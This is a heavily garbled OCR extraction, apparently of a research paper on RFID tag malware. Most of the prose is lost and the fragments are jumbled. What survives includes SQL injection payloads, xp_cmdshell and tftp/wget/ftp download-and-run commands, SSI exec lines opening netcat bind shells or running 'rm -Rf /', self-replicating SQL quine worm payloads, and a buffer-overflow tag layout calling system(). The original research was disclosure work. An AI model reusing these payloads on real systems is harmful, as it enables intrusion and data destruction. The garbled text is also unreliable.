SQL_TEXT FROM vSsgl WHERE INSTR(SQL_TEXT,” *" }=0};
RFID
4
RFID Oracle SQL*Plus
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RFID
5.1
RFID SQL
RFID SQL
RFID DB
RFID
RFID 1
5.2
RFID 1
RFID
RFID 1
SQL
TaglD
5.3
RFID DB get current query
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RFID
SQL

Willard van Orman Quine

Bach [11] quine

Hofstadter

DNA DNA
DNA DNA
SQL
SQL PostgreSQL  [13]

SELECT substr(source,l1,93) || chr{39) || source ||
chr{3%) || substrisource, 94) FROM (SELECT *SELECT

substr(source, 1, 92) || chr(39) | source || chr(38)
| substr({zource, 94) FROM (SELECT ::text as source)

g; ::text as source) g

SQL

531

SQL
SQL

SQL

5.3.2 RFID

5 RFID
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Yogi Berra
RFID

6.1 Oracle/SSI

Oracle Apache

RFID
SQL
RFID
6.1.1

RFID

111
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David Madore

C [15]

Server-Side Includes SSI
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merface
1. RFID
Oracle Oracle 10g
Windows Philips  1.Code/MIFARE RFID 1.Code SLI

Management Interface Apache PHP
10 Linux

CREATE TABLE Cont

TaglD

RFID

NewContents

ContainerContents

2. ContainerContents

uiD 16
RFID

DB Gateway CGl

RFID
NULL

TagID

OldContents

NewContents

123
234

Apples
Pears

Oranges

6.1.2

Oracle/SSI
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SQL

4
Oracle

OldContents

RFID

OCl



Apples’ ,NewContents= (select SUBSTR(30QL TEXT, 43,
127)FROM w$sgl WHERE INSTR(SQL_TEXT, '«<!—fexec
cmd="**netcat -1pl234|sh’"——>")>0)—

SELECT SUBSTR(5QL_TEXT, 43,127)FROM wvS=qgl

WHERE INSTR({SQL_TEXT, ...payload...)>0)
<! —§exec cmd="‘netcat -1pl234|sh’ " —:=»
Server-Side Include SSI Management Interface
netcat SSI
1234
6.1.3
RFID RFID Reader Interface ID
RFID Reader Interface OcCl
Oracle DB Old Contents
UPDATE ContzinerContents S5ET OldContents=—
'tag.data" WHERE Tagld='tag.id’;
UPDATE
UPDATE ContazinerContents SET OldContents=
'Apples’, NewContents=(select SUBSTR({
SQL_TEXT, 43, 127)FROM wisqgl WHERE INSTR(
50L TEXT,' <! -—#exec cmd='"netcat -1pl234|
sh'f——»f)=0) —— WHERE Tagld=-'123’
3. Container Contents
TaglD) | OldContents | NewContents
123 Apples Apples’ NewContents=(select SUBSTR(SQL_TEXT43.127)FROM visgl WHERE IN-
STR{SQL_TEXT, <! ——#exec cmd="netcat -1p1234|sh"— — =")=0)——
234 Apples Apples” NewContents=(select SUBSTR(SQL_TEXT43,127T)FROM visgl WHERE IN-
STR(SQL_TEXT, <! ——#exec cmd="netcat -Ip1234|sh"— — =")=0)——
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DB 2
New Contents
WHERE
3

6.1.4

Management Interface

New Contents
1234

Old Contents

Old Contents

Server-Side Include

Management Interface

Management Interface

DB

6.1.5

Contents

SELECT NewContent

WHERE Tagld='tag.

W

FROM ContainerContents

New Contents
RFID
Contents
New Contents

6.2

I.Code SLI RFID
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Apache
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2. RFID

1.Code SLI RFID 896 8 4 16
28 ASCIl 7 128 1 RFID
Oracle 127
2 RFID
Oracle  get current query
DB RFID
RFID
RFID
1 RFID
MIFARE DESFire SAM 72k
7 ASCII 10,000
RFID
DB SQL
PREPARE SQL
1 RFID
RFID
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SQL  Structured Query Language Standard Query Language

SQL  SQL SQL
SQL
SQL
53 SQL Oracle
PostgreSQL contact() |  char chr
SQL
SQL SQL
RFID
MySQL SHOW FULL PROCESS LIST
CAPI PostgreSQL
current_query <IDLE>
Oracle

SELECT SUBSTR(SQL_TEXT,43,127)
FROM v$sgl WHERE INSTR (SQL_TEXT,
...payload...)>0

RFID RFID

RFID [16]

Ada
Visual Basic Java Ctt
RFID

0-9 a-z A-Z
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RFID O’Reilly( )

Unicode
Postgres  pg_escape_bytea() MySQL
mysql_real_escape_string()

3.
HTTP RFID HTTP
Javascript Java VBScript ActiveX Flash Server-Side
Includes
4.
SQL
SQL
5.
SQL
PREPARE
SQL
6. RFID
RFID
DMZs
7.
RFID
RFID
RFID
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Software [18] Writing Secure Code (second edition) [12]
8.
RFID Pervasive Computing
RFID RFID RFID RFID
RFID
RFID
RFID RFID
RFID RFID RFID
RFID RFID RFID
RFID
RFID RFID
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RFID
R S
2006 3 15
! RFID
www.rfidvirus.org RFID
RFID
4 |EEE
IEEE PerCom 24 e- 200
RFID RFID
1. RFID
RFID 3
3 RFID
SQL
RFID
; shutdown-
RFID SQL SQL

; drop table <tablename>
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RFID RFID

RFID RFID
RFID RFID
RFID
FTP myexploit.exe
SQL SQL
RFID

; EXEC Master..xpcmdshell *tftp —i %ip% GET myexploit.exe
& myexploit’ --
RFID
RFID RFID
RFID
SQL*
RFID
NewContainerContents

Contents=Raspberries;

UPDATE
NewContainerContents SET ContainerContents=

ContainerContents || ’;’ || CHR (10) || (SELECT SQL_TEXT

FROM vgl WHERE INSTR (SQL-TEXT, **)>0);

RFID RFID
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1,000
6 16 2
RFID usB
RFID
IEEE PerCom RFID
RFID
RFID
RFID
RFID
SQL
96 [EPC]
RFID IEEE PerCom
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; shutdown

ASCII
EPC

7

63

SQL

SQL

RFID
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1kb 2kb
RFID RFID
RFID
RFID
RFID RFID RFID
RFID RFID
RFID SQL
RFID
RFID
RFID
RFID
1.1 RFID
RFID
RFID
RFID
RFID
[1] RFID
RFID
RFID
RFID
RFID
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RFID

2] RFID
RFID
1.2 RFID
RFID
RFID
1 RFID
[3]
2 RFID
ID
3 RFID
RFID
RSA
[4]
RFID RFID
4 RFID RFID
[3]
RFID
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5 DoS RFID

RFID
DoS
RFID
RFID
RFID
RFID RFID
2. RFID
RFID
RFID RFID
RFID
RFID
RFID
RFID
1 RFID
RFID
1,000
6 16 [6] RFID
RFID
2
RFID
RFID EPC
DNS URL
XML

130



3 RFID

RFID
RFID SAP
4 RFID
RFID
RFID
5
RFID
RFID
RFID
6
3. RFID
3 RFID
RFID
3.1 RFID
RFID RFID
RFID
RFID
RFID
RFID
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RFID

RFID
SQL
RFID API
RFID
RFID
3.2 RFID
[7]
e-
1
RFID RFID
RFID RFID
RFID

3.3 RFID

RFID RFID

RFID
RFID
1 RFID
ASPCA
ASPCA
RFID
RFID

RFID
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2 RFID
RFID

RFID

RFID

RFID

1
|

|

I DB

| Gatoway
|

|

I

—t—
- [
AFID Asader [
Inferface
1. RFID
4. RFID
RFID
RFID
4.1 RFID
RFID RFID
1
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RFID XP

MIFARE/I RFID RFID ISO-15693
| SLI MIFARE
WWW
PHP DB MySQL SQL
4.2 RFID
RFID RFID
421 SQL
SQL SQL
SQL

2. RFID

RFID SQL
(8]

; shutdown——
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11 SQL 1

drop table <tablename:-

IF/THEN
RFID SELECT RFID
DB
SQL xp_cmdshell
e_
SQL DB
RFID
2
422
RFID
iSQL*
VB Cal
PHP
HTML
XSS 1
g yols + -
URL
[9]
WWW
RFID RFID
RFID
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EPC

RFID
RFID
RFID
WMF [10]
document. location="http://%ipt/ exploit.wmf’;
SSl
< !——%exec cmd=""rm -Rf /""——=
WWW
423
1988 2001 SQL 2003
C C++
strcpy strlen strcat sprintf  gets
null strncpy  snprintf  strncat

[11]
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1. RFID 256
Offsct Hex ASCH
L1 6154 6749 64300 2730 3132 3334 3536 3738 TaglD="0123456T8
10 3041 4243 4445 4627 0077 7777 F17T 1TRD IABCDEF ...
enough data to fill up buffer, 192 bytes in this case
ED 177 EOF4 1200 63ER F412 00ES DINE ACTT
Fo 173 6863 6C6C 2063 6FaD 6D61 6E&4E T300 shell commands, 0
Offset Hex Description
E2 E0F4 1200 Feturn address. This 1s the current addness +4, as we want (o jump into
the: stack.
Ef 68EB F412 00 Push (x0012F4EB. This pushes the string starting at offset Fl+2 onto
the stack.
EB E8 DIRE ACTT Call relative address Ok TTACIEDD, in this case the systemn functon in
msvertdll, which implements the C-runtime.
Fi 77 The: contents of this byke are overwritten when the sysiem function is
imvoked, so it should not contain any useful data.
Fi+2 shell commands' i The siring that 15 passed io the system function. This string may extend
until the end of the tag, as long as the (-byte is present.
1 2 kb
1SO-15693 RFID
RFID 128 1k RFID
SQL UPDATE ContainerContents SET
OldContents = ‘<tag.data>" WHERE Tagld = ‘<tag.id>’ 128 ID
16 256
1 kb RFID
2kb RFID 256 SQL
2k
C system()
4231 RFID
rm
netcat
netcat TCP
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netcat -1pl234|=h

1 screen

screen —-dmS t bash -c""while [ true ]; do netcat

-1pl1234|sh; done" "

1 wget
ftp

wget http://fip/myexplecit -0 /tmp/myexploit;
chmod +x /tmp/myexpleit; /tmp/myexploit

fip

{echo anonymous & eche BIN & echo GET myexploit.exe &
echo quit) = ftp.txt & ftp -s:ftp.txt ip & myexploit

fip
tftp -1 ip GET myexplcit.exe & myexploit
4.3 RFID
RFID
RFID
EPC
ONS DNS
[12] RFID
RFID RFID
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RFID

RFID
RFID RFID
SQL SQL
RFID
; EXEC Master..xpocmdshell *tftp -1 %ip% GET myexplecit.exe
& myexploitf —-
tftp
SQL
RFID
< !|——#exec cmd="*"wget http://%ip%/myexploit -0 Jtmp/myexploit;
chmod +x /tmp/myexploit; /tmp/myexploit’’ —-=
RFID
4.4 RFID
RFID
1 RFID
2. New Container Contents

Taglly ContainerConients

123 Apples

234 Pears

441
RFID

RFID
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RFID

RFID RFID
RFID
RFID
RFID
RFID
Contents
123 RFID 234
442
RFID
RFID
Contents=Raspberries; UPDATE MewContainerContents SET
ContainerContents = ContainerContents || *Y; [SQL Injection]**;
SQL SQL
NewContainerContents ContainerContents
RFID
SQL
RFID
RFID
RFID
RFID RFID RFID
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SQL

[80L Injection] = UPDATE MewContainerContents SET
ContainerContents = ContainerContents || **; [SQL Injection]””’;
443
SQL
RFID
SELECT SQL_TEXT FRCOM vi$sgl WHERE INSTR(SQL_TEXT,* *")= 0;
MySQL Sybase
get current query RFID

Contents=Raspberries;

UPDATE NewContainerContents SET ContainerContents=
ContainerContents || ;" || CHR(10) (SELECT SQL_TEXT
FROM wvSsgl WHERE INSTR({SQL.TEXT," *" )= 0);

RFID
444
RFID SQL
R
[13]
! RFID SQL* CHR(10)
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DNA DNA

DNA DNA
SQL 1
SQL QL [14]
SELECT substr(source,1,93) || chr(39) || source || chr(39)
| | substr({scurce, 34) FRCOM (SELECT *SELECT substr(source,l,%3)
|| chr{3%) || source || chri{3%) || substr{source, 94) FROM
{SELECT ::teXt as source) gy '::text as source} g
SQL
445
SQL
SQL
DNA
RFID
MySQL RFID

fcontent®’ WHERE TaglId=' %$id%'; SET Ea="UPDATE
ContainerContents SET HewContents=concat (\" $content®\\\"

WHERE TagId=\\\"%id%\\\"; SET @a=\", QUOTE(Ra),\'; \',
Ba); %payload%; —'; UPDATE CentainerCeontents SET
NewContents=concat (f 3content?\" WHERE TagId=\"%id3\';
SET Ba=', QUOTE(Ga), *; ', Ba); %paylcadi; —-

RFID DB
SQL
DB
RFID MySQL  SQL
sQL iSQL*
SQL
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307

446

4.4.7

44.7.1

RFID

2194

RFID

[15]

RFID

1024

RFID
2
RFID
2
RFID
C
RFID
RFID
RFID
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RFID

RFID
4472 RFID 1
RFID
RFID 1
sQL
ID
5. /SSI
SSI
RFID RFID
sQL
RFID 127
3. Container Contents
TaglDy MdContents New(Conients
123 Apples COranges
534 Pears
51
109
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l /MIFARE RFID

| SLI
PHP DB Ccal OCl 10
44
CREATE TABLE ContainerContents |
TagID VARCHAR(1&),
0ldContents VARCHAR(128),
NewContents VARCHAR(128)
)i
TaglD 8 RFID uiD 16 OldContents
RFID
NewContents RFID
NULL RFID
ContainerContents 3
52
/SSI SQL

Apples’ ,NewContents=({select SUBSTR(SQL.TEXT,43,127)FROM
visgl WHERE INSTR{SQL_TEXT," =<!--fexec cmd="‘'netcat
-1lpi1234|sh* " —=")=0)—

SELECT SUBSTR(SQL_.TEXT, 43, 127)FROM U.‘Esq'_ WHERE INESTR({
SQL_TEXT, ...payleoad...})=0)

< !——¢exec cmd=""netcat -1pl234|sh’’——=

SSI
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netcat SSlI

1234
4. Container Contents

TaglD (MdContents MewContents

123 Apples Apples’ NewContenis=(select SUBSTR (SQL _TEXT.A43,127)
FROM v3sgql WHERE INSTR(SQL_TEXT, <!- Sexec
cmd="netcat -lp1 234| sh"- -=" =0} -

34 Apples Apples’ NewConenis=(select SUBSTR (SOL_TEXTA43,127)
FROM v3sgql WHERE INSTR (SQL_TEXT. =!- Hexec
cmd="netcat -lpl 234|sh"- =" =0} -

5.3
RFID RFID
ID RFID
OClI DB OldContents

UPDATE ContainerContents SET OldContents='tag.data’ WHERE

TagIld="tag.id";

UPDATE

UPDATE ContainerContents SET OldContents=*Apples’,
HNewContents=({select SUBSIR(SQL_TEXT, 43, 127)FRCM v5s5gl WHERE

INSTR{SQL_TEXT, ' = !——#exec cmd=""

——'WHERE TagId="123"

DB 2
New Contents
WHERE
4

5.4

New Contents

netcat -1pl234|sh''—=")1=0)

Old Contents Apples

Old Contents New Contents
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1234

netcat
DB
55
RFID NewContents
RFID
5. RFID
RFID WWW  Oracle S0L Postgre3S0QL MySOL
Reader Man- Server
age-
ment
1 us

Exploats  SOL injection 4 v v

(single query )

S0L injechon (N}

{multple query)

Code insertion 4

Buffer overflows
Worms v + +
Viruses  Self-referencing + (A) + (A)

commands

Quines v (C) G 0 v (CN)
Payloads SQL commands i ra i o < (N}

b | o o 4 o o o+

System v + +

commands (A)

+= Successfully implemented. A = Requires administrator privileges, N = Requires non-standard configuration,

C = Requires contactless smartcard

SELECT MewContents FROM ContainerContents WHERE TaglId="tag.id*;

New Contents
RFID
New Contents
SSI New Contents
RFID

RFID
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RFID
RFID
RFID RFID
WWW
RFID RFID
RFID C RFID
423
RFID
RFID MySQL
RFID SQL iSQL*
DB RFID
SQL RFID
SQL
SQL
OCI10 MySQL SQL
RFID
MySQL SHOW FULL PROCESSLIST
C API
SQL current_query <IDLE>
SELECT
SUBSTR(SQL_TEXT,43,127)FROM v$sql WHERE INSTR(SQL_TEXT, %payload%)>0
RFID
SQL
MySQL SQL SQL



SSI RFID

6.1

RFID
RFID
RFID
RFID MySQL
RFID
I SLI 896
4 16 28 ASCIl 7 128
1 RFID /SSI 127
2 RFID
get current query
RFID
RFID
RFID
MIFARE DESFire SAM 72k
7 ASCII 10,000
RFID
DB SQL
PREPARE SQL
1 RFID RFID
RFID RFID
RFID [16]
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O’Reilly

HTTP

VB

PREPARE

RFID

C#

C
[17] [18]
SQL
a-z A-Z
pg_escape_bytea() MySQL
HTTP
X
SQL
SQL

RFID
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RFID

RFID
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RFID

RFID

RFID

RFID

RFID

RFID
RFID
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